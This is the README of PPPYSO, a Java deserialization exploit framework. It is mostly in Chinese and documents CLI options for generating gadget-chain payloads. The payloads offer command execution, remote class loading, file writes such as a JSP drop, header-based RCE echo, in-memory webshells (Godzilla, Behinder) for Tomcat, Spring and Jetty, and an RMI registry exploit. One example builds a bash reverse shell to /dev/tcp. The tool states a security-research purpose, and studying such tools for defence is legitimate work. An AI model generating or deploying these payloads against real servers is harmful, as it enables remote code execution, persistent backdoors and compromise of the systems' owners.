Skip to content

proof-of-concept for generating Java deserialization payload | Proxy MemShell

Notifications You must be signed in to change notification settings

Whoopsunix/PPPYSO

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

PPPYSO

By. Whoopsunix

🌏 Begin

  • 🗿 PPPYSO 是一个Java 反序列化概念验证框架,仅为安全防护研究提供参考,所以不会开放任何绕过性质的研究成果,并且不保证稳定性。基于子项目 JavaRce 实现,最终目的是实现 RASP 层面的拦截。

  • 👏 欢迎 issue

框架分模块构建,每个模块通过一个 Helper 来管理生成内容,可以根据配置生成各种增强 Payload,通过动态代理的方式实现 JavaClass 增强减少依赖的同时兼容 javax/jakarta 标准。包含以下模块:

反序列化模块

参考 Marshalling Pickles 中提到的 gadget chain 概念,将 ysoserial 原先的调用链拆分为入口点 (kick-off), 触发点 (sink),其余为中间的调用链 (chain),针对各个部分针对性增强。

  • InvokerTransformer 功能增强
  • TemplatesImpl JavaClass增强、AbstractTranslet 可选移除、_bytecodes 特征消除
  • rome、rometools 兼容
  • 修改 serialVersionUID 兼容多版本,eg. Cb 支持 [1.8.3 | 1.6 | 1.5]
  • 二次反序列化增强
  • JavaClass 信息消除:随机类名、移除源文件信息、移除源文件信息等可能暴露来源的信息。
  • JDK6 兼容输出

JavaClass 模块

基于子项目 JavaRce ,在实现上不同。PPPYSO 中通过动态代理的方式实现内存马,减少依赖的同时兼容 javax/jakarta 标准。JavaClass 动态类名、内存马、Rce 回显。

  • Loader + Proxy 积极测试兼容中
  • 兼容 javax/jakarta 标准
  • 结果增强输出,eg. SPEL+FreeMarker
    • 高版本 JDK 下 SPEL 注入
  • 功能增强积极增加中 Exec、Godzilla、Behinder、Sou5
  • Unsafe 实现 JDK 17+ 字节码加载(name module 反射限制绕过)

Common 模板

实现序列化数据的加解密、序列化等功能

  • 序列化:原生、XStream、HexAscii
  • 序列化类型:UTF8Mix 2 3 字节转换
  • 支持组合结果输出:文件、Base64、GZIP,eg. gzip,base64

Exploit 模块

  • 缓慢移植

交互

目前支持 CLI、Yaml 配置,通过

直接运行生成模板配置文件,并展示支持的调用链

image-20240416174431675

WIKI调用链的分析比较久远也可以看看,之后有时间会尽量补全 gadget chain 图

Gadget ChainBy. Whoopsunix

Cli 通过 java -jar PPPYSO-{version}-jar-with-dependencies.jar -g Coherence1 {-h | -help} 获取帮助信息

image-20240416174734965

编译

项目完全开源,可直接下载 Release 版本,或自行编译,编译成功后在 scheduler/target 下生成 PPPYSO-${version}-jar-with-dependencies.jar

# 安装依赖
mvn clean 
# 打包
mvn clean package -Dmaven.test.skip

0x01 URLDNS 增强

-g URLDNS
-host
-dp
-cn
-ds

URLDNS 支持组件利用链探测和类探测,还在完善中

组件探测

组件探测参考 Urldns 项目实现,改了一些类可以通过 -show 展示目前规则已写的类

image-20240515103534792

  • -dp 指定组件,all 探测所有

eg. -g URLDNS -host 7ox24q.dnslog.cn -dp "all"

image-20240423140746943

image-20240423141545979

类探测

  • -cn 指定探测的全限定类名
  • -ds 指定对应的子域名

eg. -g URLDNS -host 4hu16z.dnslog.cn -cn "com.ppp.DNSTest" -ds "pppyso"

image-20240423115614913

image-20240423115636521

0x02 增强功能

通过 -e | -enchant 指定增强类型,所有指令忽略大小写

通过 java -jar PPPYSO-{version}-jar-with-dependencies.jar -g commonscollections1 -show 获取调用链支持的增强功能,指令均忽略大小写。

image-20240417155911348

Command 命令执行

-e command
-cmd {whoami}
-cmdt {ScriptEngine}
-split
  • -cmd 输入命令
  • -cmdt 命令执行类型
  • -split 参数会将命令拆分为 String[3] 数组,用这个参数相当于可以指定执行命令所需的终端

eg. -g commonscollections1 -e command -cmd "bash -c bash -i >&/dev/tcp/ip/1234 0>&1" -split

image-20240419091148438

ScriptEngine

通过 -cmdt 参数指定命令执行类型为 ScriptEngine

eg. -g commonscollections2 -e command -cmd "open -a Calculator.app" -cmdt ScriptEngine

image-20240419101743213

  • -code 支持自定义 js 语句

eg. -g commonscollections2 -e command -cmdt ScriptEngine -code "x=new java.lang.ProcessBuilder;x.command('open','-a','Calculator.app');x.start();"

image-20240419104955526

  • -cf 对于InvokerTransformer 增强的链支持从文件中获取复杂语句

eg. -g commonscollections2 -e command -cmdt ScriptEngine -cf code.txt

image-20240419110149928

Delay 延时

-e delay
-dt {/s}
  • -dt 指定延时时间 /s

eg. -g commonscollections2 -e delay -dt 5

image-20240419110957399

Socket 发起 socket 请求

-e socket
-host {ip:port}
  • -host 指定需要发起 socket 请求的地址,用来测试是调用链被 ban 了还是限制了执行命令。

eg. -g commonscollections2 -e socket -host 127.0.0.1:1234

image-20240419111952995

RemoteLoad 远程加载

-e RemoteLoad
-url
-cn
-ctor
  • -url 指定远程地址
  • -cn 指定远程加载的类名

eg. -g commonscollections2 -e RemoteLoad -url http://127.0.0.1:1234/ClassLoad-1.0.jar -cn org.example.Exec

image-20240423103555978

  • -ctor 指定需要参数的构造方法,支持 Int | String 类型

image-20240423103622803

FileWrite 文件写入

-e FileWrite
-sfp
-lfp
-fc
-append
-split
-part
  • -sfp 指定写入远程文件的地址
  • -fc 指定需要写入的内容
  • -lfp 从本地读取文件
  • -append 追加写入文件

eg. -g commonscollections1 -e FileWrite -sfp /tmp/1.jsp -fc 123456

image-20240419134742086

-append 追加写入

image-20240419143818623

-split 设置文件分片后生成, -part 指定每个分片的大小,默认 100kb。不过该功能不建议用在 TemplatesImpl 增强的链,用 Base64 编码只能分片很小。

eg. -g commonscollections1 -e FileWrite -sfp /tmp/itest -lfp /tmp/iox -split -part 1000

image-20240421192532791

0x03 JavaClass 增强

继承 AbstractTranslet

  • -ext 参数指定 TemplatesImpl 增强的类继承 AbstractTranslet

image-20240421232031498

自定义加载

-e JavaClass
-jht Custom
-jfp {filePath}
  • -jht Custom -jfp 可以选择加载自定义的 JavaClass,.class 文件或者形如 yv66vg 开头的 base64 加密

eg. -g Fastjson -e JavaClass -jht Custom -jfp testms

Rce 回显

通过线程遍历 request 对象实现回显目前测试如下

Version Auto Version (正在针对实际环境优化中..)
Tomcat 6-9 5-11
Spring
Resin [4.0.52, 4.0.66]
Jetty
  • -e JavaClass -jht RceEcho 指定为 Rce 回显
  • -mw 参数指定中间件
  • -jt 指定回显的实现方式,可通过 AutoFind 使用线程遍历寻找 request(实测优化中..)

可选参数默认都是随机生成的,也可以指定

  • -fheader 指定接收命令的 header key
  • -frheader 指定命令输出在哪个响应头中,因为实际测试发现 body 很多时候是没法回显了,所以干脆输出到头
-e JavaClass
-jht RceEcho
-mw [Tomcat | Jetty ...]
-jt [AutoFind | Default]

-fheader
-frheader

eg. -g commonscollections2 -e JavaClass -jht RceEcho -mw Tomcat -o base64

image-20240422001459366

内存马

内存马这部分的内容还没经过实际环境测试,采用 Loader + Proxy 的方式编写

-e JavaClass
-jht MemShell
-mw [Tomcat | Jetty ...]
-ms [Servlet | Listener | Filter ...]
-msf [Exec | Godzilla ...]
-jt [AutoFind]
-mt [Raw]

-fname
-fheader
-frheader
-fpath
-fkey
-fpass
-flk
-flv
  • -e JavaClass -jht MemShell 指定为内存马
  • -mw 指定中间件
  • -ms 指定内存马类型
  • -msf 指定内存马功能
  • -jt 指定内存马上下文的获取方式,目前计划实现自动线程遍历寻找 request,可通过 AutoFind 触发
  • -mt 指定内存马实现方式,目前只适配了 Spring Interceptor Godzilla Raw

可选参数默认都是随机生成的,也可以指定

  • -fname 指定内存马名称
  • -fheader 指定接收命令的 header key
  • -frheader 指定命令输出在哪个响应头中,因为实际测试发现 body 很多时候是没法回显了,所以干脆输出到头
  • -fpath 指定路径
  • -fkey 指定内存马密钥
  • -fpass 指定内存马密码
  • -flk-flv 指定触发内存马需要的 K-V 值,Contains 关系,比如 User-Agent 中需要存在 Whoopsunix
remarks Exec Godzilla Behinder Suo5(todo jakarta) Version Test Auto Version Test
Tomcat Servlet 7-11
Tomcat Filter 7-11
Tomcat Listener 6.0.35, [7.0.59, 7.0.109], 8, 9, 10 5-11
Tomcat Executor 通过 Header 交互, Thread Auto Find 8, 9
Tomcat Valve 动态代理没有经过实战测试 8
Resin Servlet [4.0.52, 4.0.66]
Resin Filter [4.0.52, 4.0.66]
Resin Listener [4.0.52, 4.0.66]
Jetty Listener 9, 10 7-11
Undertow Servlet 2.2.25.Final
Undertow Listener 2.2.25.Final
Undertow Filter 2.2.25.Final
Spring Controller 5.3.28
Spring Interceptor ✔ Raw 5.3.28

eg. -g commonscollections2 -e JavaClass -jht MemShell -mw Tomcat -ms Listener -msf Exec -o base64

image-20240422171543240

LocalLoad 本地字节码加载

InvokerTransformer 增强的链子也提供了加载字节码的方式,默认采用 ScriptEngineManager,也可以选择(换汤不换药 懒得删了) org.mozilla.javascript.DefiningClassLoader.defineClass()

-lf [Default | RHINO]

eg. -g commonscollections1 -e JavaClass -jht MemShell -mw Tomcat -ms Listener -msf Exec -o base64 -lf rhino

JavaClass 封装

JavaClass 也可以单独生成,并且提供加密封装

-je [Script | SPEL | FreeMarker]
-jme [JDK17]
  • -je 指定封装方式,支持组合封装 eg. SPEL,FreeMarker
  • -jme JavaClass 创建增强逻辑,之后考虑是否太麻烦了移除,目前有 SPEL JDK17 封装

eg. -e JavaClass -jht MemShell -mw Tomcat -ms Listener -msf Exec -je FreeMarker

eg. 某 FreeMarker 高版本 JDK 环境利用 -e JavaClass -jht MemShell -mw Spring -ms Interceptor -msf Godzilla -je SPEL,FreeMarker -jme JDK17 -mt raw

image-20240504120717253

0x04 Common 模块

输出

-o [Default | GZIP | Base64]
-st [Default | XStream | HexAscii | UTF8Mix]
-save
-close
  • -save 指定结果输出到哪个文件
  • -close 关闭除结果外的其他输出
  • -o 指定输出方式,支持按顺序组合输出,eg. -g commonscollections1 -cmd "open -a Calculator.app" -o gzip,base64

image-20240423093150806

序列化类型

  • -st 指定序列化输出类型,eg. -g commonscollections1 -cmd "open -a Calculator.app" -st UTF8Mix

image-20240423093210772

image-20240423093228895

0x05 其他增强

CB serialVersionUID 冲突

暂时兼容CB,通过 -cb 参数指定,可选 [1.8.3 | 1.6 | 1.5],默认 > 1.9.0 的 serialVersionUID

eg. -g CommonsBeanutils1 -cmd "open -a Calculator.app" -cb 1.8.3

image-20240427090522783

指令 CB 版本 serialVersionUID
>= 1.9.0 -2044202215314119608
1.8.3 1.7.0 <= <= 1.8.3 -3490850999041592962
1.6 >= 1.6 or = 20030211.134440 2573799559215537819
1.5 >= 1.5 or 20021128.082114 > 1.4.1 5123381023979609048

二次反序列化

  • -wrap 指令进行 SignedObject 二次反序列化封装,主要还是出现在 CTF 题,所以只在 ROME 链打了个样

eg. -g ROME -cmd "open -a Calculator.app" -wrap

image-20240427105643758

Rome Rometools

-gd [rome | rometools]
  • -gd 指定 rome 的依赖包 eg. -g ROME -cmd "open -a Calculator.app" -gd rometools

image-20240427155050391

0x06 Exploit 模块

在 gadget 增强的前面拼接 exp 使用该模块 ,exp -show 查看支持的 EXP

image-20240515111004602

eg. exp RMIRegistryExploit -g CommonsCollections2 -cmd "open -a Calculator.app" -ehost 127.0.0.1 -eport 1099

image-20240515095932731

Thanks

感谢师傅们的研究,有很大的帮助 :)

@frohoff ysoserial

@mbechler marshalsec

@su18 ysuserial

@wh1t3p1g ysomap

@BeichenDream GodzillaMemoryShellProject

@cckuailong JNDI-Injection-Exploit-Plus

https://gv7.me/articles/2021/construct-java-detection-class-deserialization-gadget/

About

proof-of-concept for generating Java deserialization payload | Proxy MemShell

Topics

Resources

Stars

Watchers

Forks

Packages

No packages published

Languages